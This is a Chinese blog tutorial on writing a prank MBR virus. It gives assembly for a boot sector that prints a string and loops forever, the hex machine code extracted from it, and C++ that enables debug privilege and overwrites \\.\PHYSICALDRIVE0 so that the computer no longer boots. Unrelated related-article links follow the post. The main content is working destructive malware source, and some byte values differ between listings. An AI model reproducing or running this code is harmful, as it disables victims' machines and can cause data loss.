前言

想要对MBR类的病毒进行一下研究与学习,在此期间,看了很多资料,其中帮助最大的就是金龟子学姐和willj学长发表的文章。一个从源码与实现角度来讲了一下,另外一个从反病毒角度来分析。

 
功能描述
该样本就只是一个简单的玩笑病毒,主要是让你不能开机,只在屏幕显示一串字符串。
 
0x1 什么是MBR
    MBR,就是硬盘的主引导记录,也就是硬盘的0柱面、0磁头、1扇区称为主引导扇区。这类病毒是格式化硬盘之后任然存在的病毒。该记录占用512个字节,它用于硬盘启动时将系统控制权交给用户指定的。简而言之,就是先于操作系统拿到控制权
 
0x2 病毒原理
  • 准备好将要写入的MBR
  • 提升程序权限   调用CreateFile函数去打开物理驱动器的时候,必须具备调试权限,否则就会打开失败,打开失败我们就不能对MBR进行读取了
  • 打开"\\\\.\\PHYSICALDRIVE0"文件  \\\\.\\PHYSICALDRIVE0"文件表示本机的物理驱动器0(一般是主硬盘),也就是我们的MBR。
  • 写入MBR
    成功写入MBR,我们也就拿到了先于系统的控制权了,就可以做很多事情了,但是这里我们只是在teletype模式下显示一串字符串。
0x3 汇编源码
下面是完整的汇编源码:
  1. assume cs:code
  2. code segment
  3. start:
  4. mov ax,12h ;使用12号功能,对显示器进行设置
  5. int 10h
  6. ;显示器的设置
  7. mov bp, 7C18H ;字符串的起始偏移,为啥是7c18呢?代码得长度干好18H,哈哈
  8. mov cx, 13h ;字符串长度
  9. mov ax,1301h ;AH = 13h 调用功能号13 ,在teletype模式下显示字符串,AL = 01H
  10. mov bx,0Ch ;BH = 00H BL = 0CH
  11. mov dx,0h ;起始的行列
  12. int 10h
  13. jmp $ ;无线循环,防止代码进入数据区
  14. code ends
  15. end start
 
 
下面是对汇编代码的剖析:
  • 对显示器进行设置
 int 10h中断是BIOS对系统屏幕显示器所提供的服务程序。我们可以调用int 10h中断来控制显示器的显示。使用INT 10H中断的时候,都先必须指定AH的值,AH的值是用来指定INT 10H将要调用的功能号。
  1. mov ax,12h ;使用12号功能,对显示器进行设置
  2. int 10h ;调用int 10h中断
  • 指定显示字符串
  1. mov bp, 7C18H ;字符串的起始偏移,为啥是7c18呢?代码得长度刚好18H,哈哈
  2. mov cx, 13h ;字符串长度
  • 对字符串显示进行设置
  1. mov ax,1301h ;AH = 13h 调用功能号13 ,在teletype模式下显示字符串,AL = 01H
  2. mov bx,0Ch ;BH = 00H BL = 0CH
  3. mov dx,0h ;起始的行列
 
0x4 INT 10H中断的13号功能
功能描述:在Teletype模式下显示字符串

入口参数:AH=13H
BH=页码
BL=属性,文字模式或颜色 (若AL=00H或 01H)
CX=显示字符串长度
(DH、DL)=坐标(行、列)
ES:BP=显示字符串的地址 AL=显示输出方式
0—— 字符串中只含显示字符,其显示属性在BL中。显示后,光标位置不变
1——字符串中只含显示字符,其显示属性在BL中。显示后,光标位置改变
2 ——字符串中含显示字符和显示属性。显示后,光标位置不变
3——字符串中含显示字符和显示属性。显示后,光标位置改变
出口参数:无
0x5 获取汇编的机器码
    上为什么要获取上面代码的机器码呢?因为我们的代码都是被编译器解释为机器码来执行的,这里我们面是汇编代码,所以需要编译链接之后可以将机器码拷贝出来。
编译连接:
  • 用到的工具
  • 用到的指令
将上面的解压后放到你觉得合适的地方,这里我是放在的C盘。这里编译是用到masm5.0里面的masm.exe程序。下面就对我们的代码进行编译。生成的*.obj文件存放在masm.exe程序的同位置,如果你想改变生成的位置,你可以在cmd显示Object filename [4.obj]的时候指定一个路径。
  1. C:\masm>masm C:\Users\xiaopao\Desktop\4.asm
 
编译成功后就是连接了,连接我们要用到的就是masm5.0里面的link.exe程序。

 ok,程序连接成功,下面就是提取里面的机器码了。这里我用的是C32Asm,当然你也可以用WinHex

 
圈出来的部分就是我们的代码,下面是提取出来的。
B8 12 00 CD 10 BD 18 7C B9 13 00 B8 01 13 BB 0C 00 BA 00 00 CD 10 EB FE
 
我们把我们想要显示的字符串添加到后面去。
B8 12 00 CD 10 BD 18 7C B9 13 00 B8 01 13 BB 0C 00 BA 00 00 CD 10 E2 FE 06D 061 06B 065 020 062 079 20 78 69 61 6F 70 61 6F 00
 
0x6 主代码
MBR准备好了。那么就来写主程序吧。主程序就两个函数,一个用来提权,一个用来写MBR。直接贴代码吧
  1. #include "stdafx.h"
  2. #include <Windows.h>
  3. #include <TlHelp32.h>
  4. char temp[512]={
  5. 0xB8,0x012,0x000,0x0CD,0x010,0x0BD,0x018,0x07C,0x0B9,0x00F,0x000,0x0B8,0x001,0x013,0x0BB,0x00C,
  6. 0x000,0x0BA,0x000,0x000,0x0CD,0x010,0x0E8,0x0FE,0x06D,0x061,0x06B,0x065,0x020,0x062,0x079,0x020,
  7. 0x078,0x069,0x061,0x06F,0x070,0x061,0x06F,0x000};
  8. //自己写一个函数来提权。
  9. void GetPrivileges()
  10. {
  11. //定义一个PLUID
  12. HANDLE hProcess;
  13. HANDLE hTokenHandle;
  14. TOKEN_PRIVILEGES tp;
  15. //获取当前进程的句柄
  16. hProcess = GetCurrentProcess();
  17. //
  18. OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTokenHandle);
  19. //函数查看系统权限的特权值,返回信息到一个LUID结构体里。
  20. tp.PrivilegeCount =1;
  21. LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
  22. tp.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED;
  23. AdjustTokenPrivileges(hTokenHandle,FALSE,&tp,sizeof(tp),NULL,NULL);
  24. CloseHandle(hTokenHandle);
  25. CloseHandle(hProcess);
  26. }
  27. //下面的函数来读取"\\\\.\\PHYSICALDRIVE0"
  28. void ReadPHYSICALDRIVE0()
  29. {
  30. HANDLE hFile;
  31. DWORD dwReadSize;
  32. // char lpBuffer[512];
  33. //使用createFile打开这个文件
  34. char str_Name[] = "\\\\.\\PHYSICALDRIVE0";
  35. hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
  36. if (hFile == INVALID_HANDLE_VALUE)
  37. {
  38. MessageBox(0, "wrong", "wrong", 0);
  39. }
  40. BYTE pMBR[512] ={0}; ;MBR为512个字节
  41. memcpy(pMBR,temp,sizeof(temp)-1);
  42. pMBR[510] =0x55; ;最后的标记位
  43. pMBR[511] = 0xAA;
  44. //用readfile来读取文件
  45. WriteFile(hFile, pMBR, 512, &dwReadSize, NULL);
  46. }
  47. int _tmain(int argc, _TCHAR* argv[])
  48. {GetPrivileges();
  49. ReadPHYSICALDRIVE0();
  50. return 0;
0x7 总结
运行我们编译好的主程序,然后重启就会发现我们的电脑无法正常启动了,并且在屏幕上会出现一串字符。如下图到这里一个简单的改写MBR的程序就写好了。
 
 
 

一个改写MBR的例子的更多相关文章

  1. 又一个改写MBR的病毒(TDSS TDL4)

    此毒为TDSS TDL4 的又一个变种.RIS2011 目前尚未收录此毒.此毒的主要行为是改写MBR,并在硬盘尾部的190个扇区内写入病毒代码.病毒的上述动作可穿透还原类软件对系统的保护.我在Acro ...

  2. 关于Java中的继承和组合的一个错误使用的例子

    [TOC] 关于Java中的继承和组合的一个错误使用的例子 相信绝大多数人都比较熟悉Java中的「继承」和「组合」这两个东西,本篇文章就主要就这两个话题谈论一下.如果我某些地方写的不对,或者比较幼稚, ...

  3. 一个简单的CORBA例子

    因为对CORBA分析的需要,这里写一个简单的CORBA例子.从JDK1.2开始,JDK中集成了ORB的实现,本例子使用了JDK1.7,对于JDK1.2+应该都没有问题.这个例子实现一个简单的加减乘除的 ...

  4. java 多线程——一个定时调度的例子

    java 多线程 目录: Java 多线程——基础知识 Java 多线程 —— synchronized关键字 java 多线程——一个定时调度的例子 java 多线程——quartz 定时调度的例子 ...

  5. 轻松创建nodejs服务器(1):一个简单nodejs服务器例子

    这篇文章主要介绍了一个简单nodejs服务器例子,本文实现了一个简单的hello world例子,并展示如何运行这个服务器,需要的朋友可以参考下   我们先来实现一个简单的例子,hello world ...

  6. 使用Multiplayer Networking做一个简单的多人游戏例子-3/3(Unity3D开发之二十七)

    使用Multiplayer Networking做一个简单的多人游戏例子-1/3 使用Multiplayer Networking做一个简单的多人游戏例子-2/3 使用Multiplayer Netw ...

  7. 使用Multiplayer Networking做一个简单的多人游戏例子-2/3(Unity3D开发之二十六)

    猴子原创,欢迎转载.转载请注明: 转载自Cocos2Der-CSDN,谢谢! 原文地址: http://blog.csdn.net/cocos2der/article/details/51007512 ...

  8. 使用Multiplayer Networking做一个简单的多人游戏例子-1/3(Unity3D开发之二十五)

    猴子原创,欢迎转载.转载请注明: 转载自Cocos2Der-CSDN,谢谢! 原文地址: http://blog.csdn.net/cocos2der/article/details/51006463 ...

  9. 一个简单的cmake例子

    一个简单的cmake例子CMakeLists.txt,生成动态库文件,可以指定发布目录. 尚不支持: 1.交叉编译环境配置 2.添加依赖库   #在当前目录新建一个build目录,然后cd build ...

随机推荐

  1. Roadblocks--poj3255(次短路)

    题目链接 求次短路的问题: dist[i][0]和dist[i][1]表示从起点1到i的距离和从起点n到i的距离: 次短路要比最短路大但小于其他路: 每条路1--n的距离都可以用dist[i][0] ...

  2. Socket通信的Python实现

    Python中实现socket通信,socket通信的服务端比较复杂,而客户端非常简单,所以客户端基本上都是用sockct模块实现,而服务 端用有很多模块可以使用.下面就说一下服务端可使用的模块. 模 ...

  3. 面向切面编程--AOP(转)

    add by zhj:面向切面编程就是在不修改函数A的前提下,在函数A前后插入业务逻辑B, C, D...这其实算是功能分解,将大模块S=A+B+C+D+……分解为独立的小功能A,B,C,D……,模块 ...

  4. 【Python】如何切换浏览器的tap页?

    当点击浏览器当前页面中的某个链接后自动弹出一个新的浏览器的tap页面时,浏览器正常都会在当前操作的tap页面右1位置打开新弹出的tap页. 当前selenium还不具备自动切换页面后窗口切换功能.需要 ...

  5. 访问GitLab的PostgreSQL数据库-(3)

    1.登陆gitlab的安装服务查看配置文件 cat /var/opt/gitlab/gitlab-rails/etc/database.yml production: adapter: postgre ...

  6. python 使用set对列表去重,并保持列表原来顺序

    # python 使用set对列表去重,并保持列表原来顺序 list1 = ['cc', 'bbbb', 'afa', 'sss', 'bbbb', 'cc', 'shafa'] for item i ...

  7. 008-spring cloud gateway-路由谓词RoutePredicate、RoutePredicateFactory

    一.概述 Spring Cloud Gateway将路由作为Spring WebFlux HandlerMapping基础结构的一部分进行匹配. Spring Cloud Gateway包含许多内置的 ...

  8. [py][mx]django通过邮箱找回密码

    忘记密码处理流程 注意: 这个文章里的找回密码页面截取有问题. 找回密码页应该是让输入邮箱 直接上代码 class ActiveView(View): # 主要功能是修改user_profile里的i ...

  9. itertools模块(收藏)

    Python的内建模块itertools提供了非常有用的用于操作迭代对象的函数. count().cycle().repeat() 首先,我们看看itertools提供的几个“无限”迭代器: > ...

  10. NLP总览

    一.自然语言处理概述 1)自然语言处理:利用计算机为工具,对书面实行或者口头形式进行各种各样的处理和加工的技术,是研究人与人交际中以及人与计算机交际中的演员问题的一门学科,是人工智能的主要内容. 2) ...